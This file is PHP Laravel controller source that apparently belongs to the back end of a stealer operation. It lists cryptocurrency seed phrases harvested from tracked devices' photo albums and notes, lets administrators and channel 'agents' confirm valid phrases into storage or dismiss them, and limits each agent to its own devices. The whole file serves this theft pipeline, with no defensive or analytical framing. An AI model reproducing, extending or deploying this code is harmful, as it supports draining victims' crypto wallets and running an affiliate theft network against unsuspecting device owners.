coruna-lab/app/Http/Controllers/Admin/MnemonicFindingController.php

<?php

namespace App\Http\Controllers\Admin;

use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\MnemonicFinding;
use App\Models\User;
use App\Services\MnemonicScanService;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;

class MnemonicFindingController extends Controller
{
    use PortalAware;

    public function index(MnemonicScanService $scan)
    {
        $this->denyHiddenAgentScan();
        $agents = $this->isAgentPortal()
            ? collect()
            : User::query()->orderBy('username')->get(['id', 'username']);

        return view('admin.findings.index', [
            'portal' => $this->portal(),
            'agents' => $agents,
            'photoProgress' => $scan->photoProgress(),
            'noteProgress' => $scan->noteProgress(),
        ]);
    }

    public function data(Request $request)
    {
        $this->denyHiddenAgentScan();
        $q = $this->baseQuery($request);
        $status = trim((string) $request->query('status', ''));
        if (in_array($status, [MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::STATUS_DISMISSED], true)) {
            $q->where('mnemonic_findings.status', $status);
        }
        $source = trim((string) $request->query('source', ''));
        if (in_array($source, [MnemonicFinding::SOURCE_PHOTO, MnemonicFinding::SOURCE_NOTE], true)) {
            $q->where('mnemonic_findings.source', $source);
        }

        $q->orderByDesc('mnemonic_findings.id');
        $limit = max(1, min(100, (int) $request->query('limit', 20)));
        $page = max(1, (int) $request->query('page', 1));
        $paginator = $q->paginate($limit, ['*'], 'page', $page);
        $portal = $this->portal();

        $data = collect($paginator->items())->map(function ($row) use ($portal) {
            /** @var MnemonicFinding $row */
            $photoUrl = $row->photo_id
                ? route($portal.'.devices.photo', [$row->device_id, $row->photo_id])
                : '';

            return [
                'id' => $row->id,
                'device_key' => $row->device_key ?: '',
                'channel_id' => $row->device_channel_id ?: '',
                'source' => $row->source === MnemonicFinding::SOURCE_PHOTO ? '相册' : '备忘录',
                'status' => $row->status,
                'status_label' => MnemonicFinding::statusLabel((string) $row->status),
                'candidate' => $row->candidate,
                'excerpt' => mb_substr((string) $row->excerpt, 0, 160),
                'word_count' => (int) $row->word_count,
                'score' => (int) $row->score,
                'photo_url' => $photoUrl,
                'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
                'detail_url' => route($portal.'.devices.show', [
                    'device' => $row->device_id,
                    'tab' => $row->source === MnemonicFinding::SOURCE_PHOTO ? 'photos' : 'notes',
                ]),
            ];
        })->values();

        return response()->json([
            'code' => 0,
            'msg' => '',
            'count' => $paginator->total(),
            'data' => $data,
        ]);
    }

    public function confirm(Request $request, MnemonicFinding $finding, MnemonicScanService $scan)
    {
        $this->denyHiddenAgentScan();
        if (! $this->findingInScope($finding)) {
            return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
        }
        if ($finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
            return response()->json(['code' => 1, 'msg' => '只有疑似记录可以确认']);
        }
        $candidate = $request->input('candidate');
        if (! $scan->confirm($finding, $this->actorLabel(), is_string($candidate) ? $candidate : null)) {
            return response()->json(['code' => 1, 'msg' => '不是合法助记词，无法确定入库']);
        }

        return response()->json(['code' => 0, 'msg' => 'ok']);
    }

    public function dismiss(MnemonicFinding $finding, MnemonicScanService $scan)
    {
        $this->denyHiddenAgentScan();
        if (! $this->findingInScope($finding)) {
            return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
        }
        $scan->dismiss($finding, $this->actorLabel());

        return response()->json(['code' => 0, 'msg' => 'ok']);
    }

    private function denyHiddenAgentScan(): void
    {
        if ($this->isAgentPortal() && ! config('coruna.scan.agent_visible', true)) {
            abort(403, '无权访问');
        }
    }

    private function findingInScope(MnemonicFinding $finding): bool
    {
        $q = MnemonicFinding::query()
            ->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id')
            ->where('mnemonic_findings.id', $finding->id);
        AgentScope::applyDeviceChannelScope($q, $this->agent());

        return $q->exists();
    }

    private function actorLabel(): string
    {
        if ($this->isAgentPortal()) {
            $user = auth('agent')->user();

            return 'agent:'.((int) ($user?->id ?? 0)).'@'.(string) ($user?->username ?? '');
        }
        $admin = auth('admin')->user();

        return 'admin:'.((int) ($admin?->id ?? 0)).'@'.(string) ($admin?->username ?? '');
    }

    private function baseQuery(Request $request): Builder
    {
        $q = MnemonicFinding::query()
            ->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id')
            ->select([
                'mnemonic_findings.*',
                'devices.device_id as device_key',
                'devices.channel_id as device_channel_id',
            ]);
        AgentScope::applyDeviceChannelScope($q, $this->agent());
        $channelId = trim((string) $request->query('channel_id', ''));
        $deviceKey = trim((string) $request->query('device_key', ''));
        if ($channelId !== '') {
            $q->where('devices.channel_id', 'like', '%'.$channelId.'%');
        }
        if ($deviceKey !== '') {
            $q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
        }
        if (! $this->isAgentPortal()) {
            AgentScope::applyAgentUserFilter(
                $q,
                AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
            );
        }

        return $q;
    }
}